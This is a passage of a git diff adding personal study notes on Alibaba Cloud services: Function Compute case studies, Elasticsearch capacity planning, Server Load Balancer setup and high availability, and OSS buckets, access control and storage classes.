allocating resources based on spikes in resource usage. +- Simple O&M: Function Compute allows JL-Tour to improve O&M capability by using a variety of tools. Function Compute eliminates the need of scalable resource management and also enables the O&M engineers of JL-Tour to work with higher efficiency. +- Cost efficiency: Function Compute adopts the pay-as-you-go billing method. JL-Tour can select proper specifications to ensure that its resources are efficiently utilized, without the need to pay for idle resources. The overall usage cost of JL-Tour is reduced. + + + +--- + +### Function Compute + + +**Customer pain points and requirements** +- To develop real-time collaborative document editing services, the technical team of Shimo Docs has performed in-depth research into the Operational Transformation (OT) algorithm and made several key improvements. This includes the development of a two-dimensional document editing system, on top of the original one-dimensional system. This system eliminates merge conflicts that may occur when multiple users simultaneously edit a piece of text. +- However, Shimo Docs faces the following challenges: + - Real-time edits by different users is resource intensive and often overloads the servers. + - When a user types a word on the keyboard, a server saves the edit within a few milliseconds. However, when a large number of users are editing documents on Shimo Docs at the same time, data may be unevenly distributed within a short period. + - Shimo Docs needed a scalable and highly available service to process conflicts that occur during document editing in real time. The service must have the following benefits: + - The service is cost-efficient. + - The service can enable Shimo Docs to smoothly process the surging loads that occur during peak hours to ensure synchronization responses within milliseconds. + +**Solution** +- Function Compute: + - dynamically allocates runtime environments and schedules computing resources in milliseconds based on the number of requests received. + - minimizes latency when the workload is heavy and maintains high resource utilization when the workload is low. + - save on costs because it needs only to pay for computing resources that are used when the code is running. +- Based on Function Compute, Shimo Docs uses the Alibaba Cloud serverless architecture to build a real-time document editing service. The logic of real-time document collaboration is implemented as a function. The intelligent scheduling system of Function Compute automatically allocates runtime environments to process the peak load of collaborative document editing. The scalability of Function Compute ensures that applications are stable and reliable during runtime. + +**Benefits of Function Compute** +- Cost efficiency: Function Compute enables Shimo Docs to scale out computing resources within milliseconds when surging loads occur during peak hours. Compared with deploying physical servers in data centers, Function Compute improves resource utilization by reducing the waste of idle resources, and saves the server cost. +- Improved efficiency: By using Function Compute, Shimo Docs no longer needed to be concerned about the load balancing of CPU-intensive computing. The pace of project iteration is gradually accelerated, and engineers can focus on working with the product team to continuously expand the business value. Function Compute has helped Shimo Docs improve development efficiency and process stability. + + +--- + +### Alibaba Cloud CDN, Function Compute, OSS + +**Customer pain points** +- rapid business growth poses a challenge to the original underlying system of Sina Weibo. + - Traffic surge: high instantaneous peak traffic for a short period of time. The period of each peak interaction event is about 3 hours. Services such as star events and red envelope campaigns often encounter instantaneous peak traffic multiple times higher than normal values. + - High peak-to-valley ratio: Social media is closely related to work and rest time of people. The average load for Sina Weibo changes over time, and peak traffic can exceed the lows by more than five times. +- Sina Weibo used the following traditional countermeasures to handle traffic surges: + - Apply for sufficient equipment in advance to ensure redundancy. + - Downgrade non-core services. + +**Solution** +- The public cloud serverless architecture can be used to cope with explosive traffic. +- Function Compute: + - dynamically allocates runtime environments and schedules computing resources in milliseconds based on the number of requests received. + - minimizes latency when the workload is heavy and maintains high resource utilization when the workload is low. + - reduce costs because it needs only to pay for computing resources that are used when the code is running. + - integrates with Object Storage Service (OSS) and can process images stored in OSS in real time. + - provides the auto scaling feature, event triggering mechanism, and pay-as-you-go billing method. +- Sina Weibo uses Function Compute to deploy image processing services. Sina Weibo stores images uploaded by users in OSS and defines functions to process the images in a personalized way. When a user requests an image from a client, the request is sent to Function Compute by Alibaba Cloud CDN. The relevant functions are used to download the original image from OSS, convert it into the expected image in real time based on the client type, and then return the final image. + +**Benefits of Function Compute** +- Function Compute can scale computing resources in milliseconds to ensure that applications are stable when traffic bursts occur. User experience is not affected by the number of visits. +- Running the image processing service in Function Compute helps Sina Weibo continuously reduce costs. Sina Weibo no longer maintains large numbers of idle servers used to process surge traffic during peak hours. Without managing and maintaining infrastructure, developers can focus on cooperating with product teams and increasing business value. +- As the number of active users of Sina Weibo continues to increase and Sina Weibo continues to expand, Function Compute can automatically allocate more runtime environments to support continuous business growth of Sina Weibo. +. diff --git a/_posts/01Cloud/01Ali/CloudComputing.md/kk.md b/_posts/01Cloud/01Ali/CloudComputing.md/kk.md new file mode 100644 index 00000000000..e69de29bb2d diff --git a/_posts/01Cloud/01Ali/ELK/AliElasticsearch.md b/_posts/01Cloud/01Ali/ELK/AliElasticsearch.md new file mode 100644 index 00000000000..553e692b8e9 --- /dev/null +++ b/_posts/01Cloud/01Ali/ELK/AliElasticsearch.md @@ -0,0 +1,153 @@ + +# Alibaba Cloud Elasticsearch + + + +## Overview +Elasticsearch is an open source, distributed, real-time search and analytics engine built on Apache Lucene. It is released under the Apache License and is a popular search engine for enterprises. It provides services based on RESTful APIs and allows you to store, query, and analyze large amounts of datasets in near real time. Elasticsearch is typically used to support complex queries and high-performance applications. + +Alibaba Cloud Elasticsearch is a fully managed cloud service that is developed based on open source Elasticsearch. +- This service is fully compatible with the features provided by open source Elasticsearch. +- It is out-of-the-box and supports the pay-as-you-go billing method. +- In addition to Elastic Stack components such as `Elasticsearch, Logstash, Kibana, and Beats`, Alibaba Cloud provides `the X-Pack plug-in` free of charge together with Elastic. +- X-Pack is integrated into Kibana to provide features, such as security, alerting, monitoring, and machine learning. +- It also provides SQL capabilities. + +Alibaba Cloud Elasticsearch is widely used in scenarios such as real-time log analysis and processing, information retrieval, multidimensional data queries, and statistical data analytics . + + +- providing a low-cost, scenario-based Elasticsearch service on the cloud based on the open source Elastic Stack ecosystem. Alibaba Cloud Elasticsearch originates from but is not limited to this ecosystem. Alibaba Cloud has superior computing and storage capabilities on the cloud and technical expertise in the fields of cluster security and O&M. This enables Alibaba Cloud Elasticsearch to support one-click deployment, auto scaling, intelligent O&M, and various kernel optimization features. Alibaba Cloud Elasticsearch also provides a complete set of solutions such as migration, disaster recovery, backup, and monitoring. + +Alibaba Cloud Elasticsearch features high security, performance, and availability and provides powerful search and analytics capabilities. It simplifies cluster deployment and management, reduces resource and O&M costs, ensures data security and reliability, enables upstream and downstream data links, and optimizes read and write performance. Based on these features and optimizations, Alibaba Cloud Elasticsearch allows you to build business applications with ease, such as applications that perform log analysis, exception monitoring, enterprise search, and big data analytics. Alibaba Cloud Elasticsearch enables you to focus on the business applications themselves and add value to your business. + +## Components + +The Alibaba Cloud Elastic Stack ecosystem contains the following components: Elasticsearch, Kibana, Beats, and Logstash. Elasticsearch is a real-time, distributed search and analytics engine. Kibana provides a visual interface for data analytics. Beats collects data from various machines and systems. Logstash collects, converts, processes, and generates data. Integrated with Kibana, Beats, and Logstash, Alibaba Cloud Elasticsearch can be used for real-time log processing, full-text searches, and data analytics. + +### X-Pack + +X-Pack is a commercial extension of Elasticsearch. It provides security, alerting, monitoring, graphing, reporting, and machine learning capabilities. When you create an Alibaba Cloud Elasticsearch cluster, the system integrates X-Pack into Kibana to provide free services. The services include authorization and authentication, role-based access control, real-time monitoring, visual reporting, and machine learning. X-Pack facilitates cluster O&M and application development. + +### Beats + +Beats is a lightweight data collection tool that integrates a variety of single-purpose data shippers. These data shippers collect data from various machines or systems and send the collected data to Logstash or Elasticsearch. + +Beats allows you to create the following types of data shippers: Filebeat, Metricbeat, Auditbeat, and Heartbeat. You can create and configure a shipper to collect various types of data from Elastic Compute Service (ECS) instances or Container Service for Kubernetes (ACK) clusters. The data include logs, network data, and container metrics. Beats also allows you to manage your shippers in a centralized manner. + +### Logstash + +Logstash is a server-side data processing pipeline. It uses input, filter, and output plug-ins to dynamically collect data from a variety of sources, process and convert the data, and then save the data to a specific location. + +Alibaba Cloud Logstash is a fully managed service and is fully compatible with open source Logstash. Logstash allows you to quickly deploy pipelines, configure them by using a visual interface, and centrally manage them. It provides multiple types of plug-ins to connect to cloud services, such as Object Storage Service (OSS) and MaxCompute. + +### Kibana + +Kibana is a flexible data analytics and visualization tool. Multiple users can log on to the Kibana console at the same time. You can use Kibana to search for, view, and manage data in Elasticsearch indexes. When you create an Alibaba Cloud Elasticsearch cluster, the system automatically deploys an independent Kibana node. This node allows you to present diversified data analytics reports and dashboards by using graphs, tables, or maps based on your business requirements. + +### Related items + +**AliES and its provided plug-ins** + +In addition to all the features provided by the open source Elasticsearch kernel, Alibaba Cloud Elasticsearch develops the AliES kernel. This kernel enables Alibaba Cloud Elasticsearch to provide optimizations in multiple aspects, such as thread pools, monitoring metric types, circuit breaking policies, and query and write performance. The kernel also provides a variety of self-developed plug-ins to improve cluster stability, enhance performance, reduce costs, and optimize monitoring and O&M. + +**EYou** + +EYou is an intelligent O&M system provided by Alibaba Cloud Elasticsearch. This system can detect the health of more than 20 items, such as clusters, nodes, and indexes. EYou simplifies cluster O&M. It observes and records the running statuses of clusters and automatically summarizes cluster diagnostic results. It also detects the possible risks of your clusters. If your clusters are abnormal, the system quickly provides key information and reasonable optimization suggestions. + + + +## Deploy + +The Alibaba Cloud Elastic Stack ecosystem contains the following components: `Elasticsearch, Logstash, and Beats`. +- Elasticsearch is a real-time, distributed search and analytics engine. +- Logstash collects, converts, processes, and generates data. +- Beats collects data from various machines and systems. +- These components enable Alibaba Cloud Elasticsearch to be used for real-time log processing, full-text searches, and data analytics. + + +### Pre + +#### specifications and storage capacity + +evaluate the total amount of the required resources, such as the disk space, node specifications, number of shards, and size of each shard + + +**Disk space** evaluation +- The **disk space of an Elasticsearch cluster** is determined by the following factors: + - Number of `replica shards`: Each primary shard must have at least one replica shard. + - `Indexing` overheads: + - In most cases, indexing overheads are 10% greater than those of source data. + - The overheads of the `_all` parameter are not included. + - Disk space reserved by the `operating system`: By default, the operating system reserves 5% of disk space for critical processes, system recovery, and disk fragments. + - `Elasticsearch` overheads: Elasticsearch reserves 20% of disk space for internal operations, such as segment merging and logging. + - Security threshold overheads: Elasticsearch reserves at least 15% of disk space as the security threshold. + +The minimum required disk space is calculated by using the following formula: +```bash +Minimum required disk space = + Volume of source data + × (1 + Number of replica shards) + × Indexing overheads/(1 - Disk space reserved by the operating system)/(1 - Elasticsearch overheads)/(1 - Security threshold overheads) += Volume of source data × (1 + Number of replica shards) × 1.7 += Volume of source data × 3.4 +``` + + +**Node specification** evaluation +- The **performance of an Elasticsearch cluster** is determined by the `specifications of each node` in the cluster: + +- Maximum number of nodes per cluster: + +```bash +Maximum number of nodes per cluster = Number of vCPUs per node × 5 +``` + +- Maximum volume of data per node: + + - The maximum volume of data that a node in an Elasticsearch cluster can store depends on the scenario. + +```bash +# Acceleration or aggregation on data queries: +Maximum volume of data per node = Memory size per node (GiB) × 10 + +# Log data import or offline analytics: +Maximum volume of data per node = Memory size per node (GiB) × 50 + +# General scenarios: +Maximum volume of data per node = Memory size per node (GiB) × 30 +``` + + +**Shard** evaluation +- The number of shards and the size of each shard determine the **stability and performance of an Elasticsearch cluster**. +- You must properly plan shards for all indexes in an Elasticsearch cluster. +- This prevents numerous shards from affecting cluster performance when it is difficult to define business scenarios. + + +### step + +Procedure: + +- Step 1: Create a cluster + - Create an Alibaba Cloud Elasticsearch V6.7 cluster of the Standard Edition. + +- Step 2: Access the cluster + - Log on to the Kibana console of the cluster to access the cluster after the state of the cluster becomes Active. + +- Step 3: Create an index + - Call a RESTful API to create an index. + +- Step 4: Create documents and insert data into the documents + - Call a RESTful API to create documents and insert data into the documents. + +- Step 5: Search for data + - Call a RESTful API to perform a full-text search or search for data by condition. + +- Step 6: (Optional) Delete the index + - Call a RESTful API to delete the index to save resources if you no longer require the index. + +- Step 7: (Optional) Release the cluster + - Release the cluster if you no longer require the cluster. After a cluster is released, data stored in the cluster cannot be recovered. We recommend that you back up data before you release a cluster. + + +. diff --git a/_posts/01Cloud/01Ali/Network/SLB.md b/_posts/01Cloud/01Ali/Network/SLB.md new file mode 100644 index 00000000000..e6323bfe639 --- /dev/null +++ b/_posts/01Cloud/01Ali/Network/SLB.md @@ -0,0 +1,290 @@ + + + + +- [SLB](#slb) + - [Server Load Balancing](#server-load-balancing) + - [server load balancer SLB](#server-load-balancer-slb) + - [Server Load Balancer Components](#server-load-balancer-components) + - [charges](#charges) + - [listener](#listener) + - [backend servers](#backend-servers) + - [health checks](#health-checks) + - [consideratiyon](#consideratiyon) + - [highly available](#highly-available) + + +--- + +# SLB + + +setup: +- select a region to deploy a server load balancer to. +- Choose whether it is to be public or private. +- Select the instance specification, either shared or guaranteed. +- Create a listener, + - selecting the protocol and port required. + - select between TCP, UDP, HTTP, and HTTPS. +- Accept the default algorithm or change it. + - select between `weighted round robin` (default), + - weighted least connection, + - round Robin + - and consistent hash. +- Then allocate the listener to a group of backend servers. + - choose between default group, + - a primary/secondary group + - or a VServer group. +- And lastly, set the parameters for the health check or accept the defaults. +- Once these steps have been followed, you will have a running server load balancer. + + +--- + +## Server Load Balancing + +why we need something like a load balancer: +- There are potential issues when creating a web-based application service that needs to be considered. + +for website +- How popular will it be? +- How many requests or hits is it going to have on it? +- The first potential issue is: + - what hardware platform are we gonna put it on? + - How powerful does your web server need to be to cope with all of the potential requests? + - Do you go with, build one big and powerful server to cope with any kind of load, which can be very expensive? + - Or, do you go with a less powerful platform, cheaper, and hope it doesn't get overloaded with too many requests, and either slow down, or even crash? + - what happens to the web service if the hardware or server that it's running on, fails. This becomes a single point of failure. + +could provision two servers to alleviate the single point of failure scenario. And at the same time, use the cheaper platform to save the cost of one big or powerful server. + - Then this creates another potential problem: + - How to `route requests to the different servers` so that one server does not become overloaded with all of the requests, while the other sits idle? + - And at the same time, keep this complexity transparent to the users who are trying to access the website? + + +the **domain naming service/DNS** has a function called, `DNS Round Robin` that could be used in this scenario. +- this is where the request for a website's fully qualified domain name will be sequentially forwarded to each server in turn, +- but this also has potential problem. + - The DNS servers cannot tell if a server is down. + - if one of the two servers fail, half of the requests for the website will be sent to a server that is offline and will not respond. + + +In this case, we could use a **server load balancer** instead. + +--- + +### server load balancer SLB +- a traffic distribution and control service that automatically distributes inbound traffic across multiple web-based applications, microservices or containers hosted on Alibaba ECS instances. +- It provides high availability when utilizing multiple availability zones. +- It prevents single point of failure when using more than one ECS instance in the same zone, and at the same time, provides high availability in the zone. +- It can be set up to elastically expand capacity, according to service loading. + +Now, this requires autoscaling, which is a subject of another set of sessions and will not be covered here. +- And by default, SLB defends against denial of service attacks, preventing different kinds of flood attacks on the services running behind it. + +SLB components. +- The server load balancer consists of three major sets of components + - a server load balancer instance, + - one or more listeners, + - and at least two backend servers. +- A server load balancer instance receives and distributes incoming traffic to backend servers, using one or more listeners, that checks the client request and does a health check on the backend servers before forwarding the request. + +--- + + + +## Server Load Balancer Components + + +A server load balancer instance which includes instance network types and instance specifications. Creating one or more listeners. Backend servers to forward traffic to. And backend server health checks. + +The first component then is the server load balancer instance. A server load balancer or SLB instance is a virtual machine in which the SLB service runs. You must first select a region to create an SLB instance in, recommended best practice is to choose a region that supports the multi-zone zone type. This provisions two copies of the SLB. One in the primary selected zone, and one in the secondary selected zone, which becomes the backup zone for fail over functionality. + +You must then select the instance network type and instance specification. +There are two instance network types available. +- They are internet SLB instances and intranet SLB instances. + +internet SLB +- An internet SLB instance distributes client requests from the internet to backend servers according to configured forwarding rules on listeners. +- When you create an internet SLB instance, it's allocated an public IP address. +- You can resolve a domain name to the public IP address and provide public services. + +Internet SLB instances +- can only be used inside Alibaba Cloud and can only forward requests from clients that can access the intranet of the SLB instance. +- When you create an intranet SLB instance, it's allocated a private IP address. + +Like the network types, there are two types of instance specifications available, shared-performance instances and guaranteed-performance instances, +- shared-performance instances share other Alibaba SLB resources in the same region, + - which means their performance cannot be guaranteed. +- Guaranteed-performance instances are set according to their selected performance specification. + - Six different levels of performance are currently available and are based around three key performance indicators, + - max connections, which is the maximum number of connections allowed before new connection requests are dropped. + - Connections per second, which is the rate at which new connections are established per second before new connection requests are dropped. + - And `queries per second`, which is the number of HTTP or HTTPS requests that can be processed per second before new connection requests are dropped. + - The queries per second metric is available only for Layer-7 SLB listeners. + + +### charges +The server load balancer service can incur charges depending on which solution is selected. The following diagram depicts which of these services incur charges. You can see from the diagram that the internal SLB using the shared performance instance is the only free offering. +- All other offerings incur a usage charge. +- At present, pay as you go is the only method that supports the payment, so there's no upfront costs or longterm commitments. + +Public-facing SLB instances are charged based on the charge type that is selected. And there are two charge types available, +- by traffic and by bandwidth. +- It's worth noting that internal-facing SLB instances are charged by traffic only. + + +### listener + +After you've created the server load balancer instance, the next component to configure is the listener. + +For SLB to work, a minimum of one listener is a mandatory requirement. +- The listener checks connection requests, and then distributes the request to backend servers after carrying out a health check on the server to make sure that it's running and healthy. + + +- A listener comprises of two main components, + - selecting a `listener protocol and port number ` + - and selecting a `scheduling algorithm`. + - advanced settings: + - Session persistence, access control, and peak bandwidth settings. + +- For the port forwarding rules, + - a separate listener protocol is required for each port, + - and the rules can be either TCP, UDP, HTTP, or HTTPS. +- For the `scheduling algorithm`, + - there are four types of algorithm to choose from. + - The default selection is a weighted round round. + +- Backend servers can have a weight/number set against them, + - the default is 100. + - A backend server with a higher weight than another backend server would receive more requests. + - For example + - 2 backend servers named EC1 and EC2, + - and EC1 has a weight of 100 and EC2 has a weight of 50, + - then twice as many requests would be forwarded to EC1 than EC2. + + ![Screen Shot 2021-09-16 at 11.59.28 PM](https://i.imgur.com/iOmtV1x.png) + +Weighted Round Robin +- Round Robin is where requests are evenly and sequentially distributed to all backend servers. +- It's worth noting that if the default setting of weighted round robin is selected and all backend servers have the same weight, then it's the same as selecting round robin. + +![Screen Shot 2021-09-17 at 12.00.26 AM](https://i.imgur.com/xvgYG2I.png) + + + +weighted least connection +- is the same as weighted round robin where a server with a higher weight receives more requests. +- But when the weight values of two backend servers are the same, the backend server with the least number of connections will be used to forward traffic to. + + +Consistent hash +- And the last one, consistent hash, which is only available for TCP and UDP rules, is where requests from the same source IP address are scheduled to the same backend server. + +![Screen Shot 2021-09-17 at 12.01.53 AM](https://i.imgur.com/BBnWxva.png) + + +### backend servers + +Before you use the SLB service, you must add one or more ECS instances as backend servers to an SLB instance, to process distributed client requests. + +SLB virtualizes the added group of ECS instances in the same region into an application pool, +- you can manage backend servers through either + - the default server group, + - a primary server group, + - or VServer groups. + + +The default server group +- contains ECS instances that are not associated with a VServer group or a primary/secondary server group. +- By default requests are forwarded to ECS instances in the default server group. + +![Screen Shot 2021-09-17 at 12.04.55 AM](https://i.imgur.com/jXHLSnG.png) + +--- + +A primary/secondary server group +- only contains two ECS instances. +- One acts as the primary or active server and the other acts as a secondary or standby server. +- No health check is performed on the secondary server. +- And when the primary server is declared as unhealthy, the system forwards traffic to the secondary server. +- When the primary server is declared as healthy again, and it restores service, the traffic is forwarded to the primary server once again. +- Note that `only TCP and UDP listeners` support configuring primary/secondary server groups. + +![Screen Shot 2021-09-17 at 12.05.29 AM](https://i.imgur.com/rdPhyVE.png) + +--- + +VServer groups +- to distribute different requests to different backend servers or configured domain name based or URL based forwarding rules. +- A single ECS instance can be a member of multiple VServer groups. + +![Screen Shot 2021-09-17 at 12.03.57 AM](https://i.imgur.com/avknDCq.png) + + + +### health checks +Before passing any requests to backend servers, SLB checks the service availability of the backend server ECS instances by performing health checks. +- Health checks improve the overall availability of your front-end service and avoid sending requests for a service to a backend server that's not online. +- The health check function is enabled by default when you create a listener, but can be turned off if required. not recommended. + +- With the health check function enabled, SLB stops distributing requests to any instance that is discovered as unhealthy and restarts forwarding requests to the instance only when it's declared healthy again. + + +### consideratiyon + +- Before creating an SLB instance, it's important to know that SLB does not support cross-region deployment. + - Therefore ECS instances that are being used as backend servers must be in the same region as the deployed SLB instance. + +- SLB also does not limit which operating system is used on the ECS instances in the pool of backend servers. + - As long as the applications deployed in the ECS instances is the same and the data is consistent. + + +--- + + +## highly available + +SLB +- fully managed, scalable, and highly available load balancing service. +- Its `content-based routing` using **listeners** allows requests to be routed to different applications behind a single **load balancer**, +- saving the cost of having to build a web server per application. +- By utilizing the multi-zone feature for SLB, it supports multi-zone disaster tolerance. If the primary zone becomes unavailable, SLB rapidly switches to the backup zone. +- And it can support multi-region disaster tolerance when used in conjunction with DNS. + + + +Welcome to session three, SLB high availability. In this session, we will look at the following topics. Provisioning high availability of SLB in a single zone, provisioning high availability of SLB in multiple zones, and provisioning cross-region disaster tolerance of SLB. + +Provisioning high availability of SLB in a single zone. In session one, an introduction to load balancing, I talked about the reasoning behind providing multiple backend servers when providing a web service. Basically, it was to prevent a single point of failure by spreading the service across multiple web servers, and at the same time, providing a request balancing service so that one web server doesn't become overloaded with requests. + +> In essence, providing a highly available service by utilizing multiple servers. Whilst everything is okay, a normal service is achieved. + +High availability in a single zone is achieved by health checks. +- If the hardware that a server resides on fails, then SLB detects that the server is no longer available due to the health checks that are carried out on the listener in the SLB. +- However, by placing all of the servers in the same zone, we are now introducing another point of failure, and that is failure at the zone level. +- If the zone itself fails, then we lose all backend servers and the load balancer itself. + +Provisioning high availability of SLB in multiple zones. +- To overcome the problem of a single zone failure, Alibaba automatically provisions a backup server load balancer in another zone, but in the same region. +- One zone is set up as the primary zone and another as the backup zone. This is known as a multi-zone SLB. +- When you create the SLB instance, you can choose which zone is the primary zone and which is the backup zone. +- there are 21 regions available for the provisioning of a server load balancer solution, and currently the UAE region is the only one with a single zone and therefore does not support multi-zone. All other regions by default are multi-zone regions. + + +Recommended best practice is to provision a server load balancer in a region that supports multi-zones, thereby leveraging automatic high availability across two zones in the same region. + +To achieve this, +- you will have to provision at least one backend server in the backup zone. +- If you have at least two servers in each zone, you will then have high availability at the zone level and at the region level. +- While the service is running and both zones are in a healthy state, traffic is distributed across all backend servers based on the rules applied to the listeners. +- If a failure occurs at the primary zone level, SLB will detect the zone failure and within 30 seconds switch to the backup SLB instance to keep the service running. +- If the primary zone is up but the backup zone becomes unavailable, the health check on the listeners will detect the backend servers are not responding and stop sending traffic to them. +- When the primary region becomes available again, SLB switches back and normal service resumes. + +Provisioning cross-region disaster tolerance of SLB. The SLB service spans across two zones in a region for high availability, but a single SLB instance cannot span across multiple regions. +- To protect against a complete regional failure, you can configure multiple SLB instances in different regions. +- You can then use Alibaba's cloud DNS service to schedule requests to achieve `cross-region disaster tolerance` through global SLB. +- You can use DNS to resolve domain names to the IP addresses of multiple SLB instances running in different regions. In the event of a region outage, DNS can then stop DNS resolution for the effective domain, thereby creating cross-region disaster tolerance by still being able to forward traffic to the second region's server load balancer. + +![Screen Shot 2021-09-17 at 12.14.46 AM](https://i.imgur.com/tm7U2fI.png) diff --git a/_posts/01Cloud/01Ali/Security/SecurityCenter.md b/_posts/01Cloud/01Ali/Security/SecurityCenter.md new file mode 100644 index 00000000000..344f3014a0c --- /dev/null +++ b/_posts/01Cloud/01Ali/Security/SecurityCenter.md @@ -0,0 +1,34 @@ + + + + + + + + + +# security center + + + +![Screen Shot 2022-03-10 at 14.30.20](https://i.imgur.com/HWm9Q5l.png) + + +![Screen Shot 2022-03-10 at 14.32.09](https://i.imgur.com/86QzUyj.png) + + +![Screen Shot 2022-03-10 at 14.44.27](https://i.imgur.com/xJsZhai.png) + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01Ali/Storage/OSS.md b/_posts/01Cloud/01Ali/Storage/OSS.md new file mode 100644 index 00000000000..fa60ef98d9e --- /dev/null +++ b/_posts/01Cloud/01Ali/Storage/OSS.md @@ -0,0 +1,309 @@ + + +- [OSS](#oss) + - [traditional storage](#traditional-storage) + - [File storage](#file-storage) + - [block Storage.](#block-storage) + - [OSS The Object Storage Service](#oss-the-object-storage-service) + - [OSS vs traditional storage services](#oss-vs-traditional-storage-services) + - [Security](#security) + - [Costs](#costs) + - [Access](#access) +- [bucket](#bucket) + - [endpoint](#endpoint) + - [Access control list/ACL](#access-control-listacl) + - [storage class](#storage-class) + - [Regions](#regions) + - [Objects](#objects) +- [security](#security-1) + - [Bucket Policy](#bucket-policy) + - [Hotlink Protection.](#hotlink-protection) + - [Access Keys](#access-keys) + - [Server-Side Encryption or SSE](#server-side-encryption-or-sse) + + +--- + +## OSS + +--- + +### traditional storage + +2 main types of traditional storage available in Alibaba Cloud. +- file storage and block storage. + + +#### File storage + +- also known as networked storage is based on a shared file system. +- This type of storage gives multiple clients the ability to access the same shared data across a network. The interface for this is generally on the client side. The two most popular protocols for access in this type of storage is NFS and SMB. + + +#### block Storage. + +- high performance, low latency block storage service for Alibaba Cloud ECS virtual machines. +- And it supports random or sequential read and write operations. +- Block storage is similar to a physical disc. + - You can format a block storage device and create a file system on it to meet the data storage needs of your business. + - File and block storage services are structured data services +- priced based on the end user defined in the capacity required. pay for what you provision. + +--- + +### OSS The Object Storage Service +- a service that enables you to store, back up and archive any amount of non-structured data such as images, videos, documents in the cloud. +- Unlike a structured file service, where you would navigate to a file through its directory structure, files in OSS are uploaded into a container and each file has its own unique address to access it. + +- cost effective, highly secure, easily scalable and highly reliable cloud storage solution. + - store and retrieve any type, any time and from anywhere. + - use API operations and SDKs provided by Alibaba cloud or OSS migration tools to transfer massive amounts of data into or out of Alibaba Cloud's OSS. + +--- + + +### OSS vs traditional storage services +- reliability. + - OSS offers up to 99.995% service availability to protect against service outages and up to 12 nines of data durability to keep your data safe. + - It offers automatic scaling without effecting external services. + - It also offers automatic redundant data backup. + - And with the optional cross-region replication, it can support automatic failover. So redundancy. + +- redundancy + - There are two types of redundancy available in OSS. + - Local redundant storage/LRS and zone redundant storage/ZRS. + - LRS stores the data of each object on multiple devices in the same region which ensures data durability and availability in case hardware failure. + - ZRS distributes user data across three zones within the same region. Even if one zone becomes unavailable, your data will still be accessible. + - The integrity of data is periodically checked to discover data damage caused by factors such as hardware failure. OSS reconstructs and repairs damaged data by using redundant data. + +--- + +### Security +- OSS provides enterprise grade multilevel security and denial of service attack protection. It supports multi-user resource isolation and remote disaster recovery. +- It also provides authentication authorization, IP address, blacklist and whitelist support and Resource Access Management/RAM account features. And provides comprehensive logging to help trace malicious access. + +--- + +### Costs +- OSS charges fees based on actual usage. The fees incurred within an hour are billed in the next hour. Fees are calculated based on the formula `fees = actual usage * unit price`. And the term actual usage is based on the volume of storage used, the amount of data transferred and the number of API requests made. There are no upfront costs and uploading data into OSS is free of charge. It's easy to use. + +--- + +### Access +- OSS provides a standard restful API interface, a wide range of SDK client tools and a web based console. You can easily upload, download, retrieve, and manage massive amounts of data for websites and applications in the same way as for regular files in windows. +- There is no limit on the number of files. +- File sizes can be from one bite to a maximum size of 48.8 terabytes for a single file. +- The maximum size however, is dependent on the method use to upload. +- And unlike traditional hardware storage, OSS enables you to easily scale up or expand your storage space as needed. + + +- It supports streaming upload and download which is suitable for business scenarios. + - For example, where you need to simultaneously read and write videos and other large files. + +- And it offers lifecycle management. You can delete expired by data in batches or transition the data to lower cost archive services. + + +advantages include +- image processing, which supports format conversion, thumbnails, cropping, watermarks, scaling and other operations. +- Audio video transcoding, which provides high quality, high speed, parallel audio/video transcoding capabilities for audio/video files stored in OSS. +- And Alibaba's content delivery network can be used to speed up the delivery of content stored in OSS. + +--- + + +## bucket + +Hello, in this session we will focus on the basic concepts of the Object Storage Service. The first thing we will look at is the concept buckets. A bucket is a container for objects stored in OSS. Every object that is uploaded must be placed into a bucket. All objects or files are directly related to their corresponding bucket. OSS lacks the hierarchical structure of directories and subdirectories as in a file system, its file system is flat. + +- A bucket can contain an unlimited number of objects, the bucket size is infinite. +- A bucket name must be globally unique within OSS. + - No two bucket names in the world can be the same. + - The naming conventions for buckets are as follows. + - Names can only contain lowercase letters, numbers and hyphens. + - The name must start and end with a lowercase letter or number + - must be between three and 63 characters in length. + +--- + +### endpoint + +To access a bucket, an `endpoint` for the bucket is created automatically. An endpoint is the `domain name` used to access the bucket. OSS provides external services through `HTTPS, HTTP, and RESTful APIs`. Each region has its own dedicated endpoint. Access to a bucket through an intranet connection uses a different endpoint than when accessing the same bucket through the internet. + +For example, shown here, these endpoints for the UK London region for intranet and internet are slightly different. +- The `intranet endpoint`, `oss-eu-west-1-internal.aliyuncs.com` is slightly different from the `internet endpoint` in as much as it has the hyphen internal as part of the address. +- To access the contents of a bucket once it is created, the endpoint address is used to navigate to the bucket but access control must also be set at the bucket level. +- This is achieved by setting the `access control list/ACL`. + +--- + +### Access control list/ACL + +3 options to choose from: +- `private` + - only the owner or authorized users of the bucket can read and write files in the bucket. +- `Public read` + - only the owner or authorized users of this bucket can write files in the bucket, other users including anonymous users can only read files in the bucket. +- `public read/write` + - Any users including anonymous users can read and write files in the bucket. + +The access control lists settings can be changed after the bucket is created. + +--- + +### storage class +For billing purposes, a bucket must utilize a storage class. +Storage classes control the cost of storage. There are currently four storage classes available. + +![Screen Shot 2021-09-16 at 10.03.35 PM](https://i.imgur.com/aIeQ64E.png) + +- `Standard` + - highly reliable, highly available and high performance object storage services that can handle frequent data access. + - This is the default selection when creating a bucket + - redundancy: supports local redundant storage and zone redundant storage + +- `Infrequent access`. + - storing objects with long life cycles that do not need to be frequently accessed, + - an average of once or twice per month. + - IA storage offers a storage unit price lower than that of standard storage, and is suitable for long term backup of various mobile apps, smart device data and enterprise data. + - It also supports real time data access. + - minimum storage period: 30 days + - delete an object will be charged an early deletion fee + - retrieving data also incurs fees. + - redundancy, supports local redundant storage and zone redundant storage. + +- Archive. + - OSS archive storage is suitable for storing objects with long life cycles, at least half a year that are in frequently accessed. + - Data can be restored in about a minute and then read. + - This storage option is suitable for data such as archival data, medical images, scientific material, and video footage. + - minimum storage period: 60 days + - delete an object will be charged an early deletion fee + - retrieving data also incurs fees. + - redundancy, only supports local redundant storage. + +- `Cold archive` + - storing extremely cold data with ultra-long life cycles. + - suitable for data that must be retained for an extended period of time due to compliance requirements. + - Data can be restored but it depends on the `retrieval level` selected when cold archived. + - 3 data retrieval levels, + - `expedited`, restored within `1 hour`, + - `standard`, restored within `2 to five 5`, + - `bulk`, restored within `5 to 11 hours`. + - minimum storage period: 180 days + - delete an object will be charged an early deletion fee + - retrieving data also incurs fees. + - redundancy, only supports local redundant storage. + - At the time of this recording, May, 2020, cold archive is currently in preview. The following table shows a comparison of the different storage classes. + +Once a bucket is created, the name and the storage class cannot be modified. + + +### Regions + +- Regions. A region represents the physical location of a data 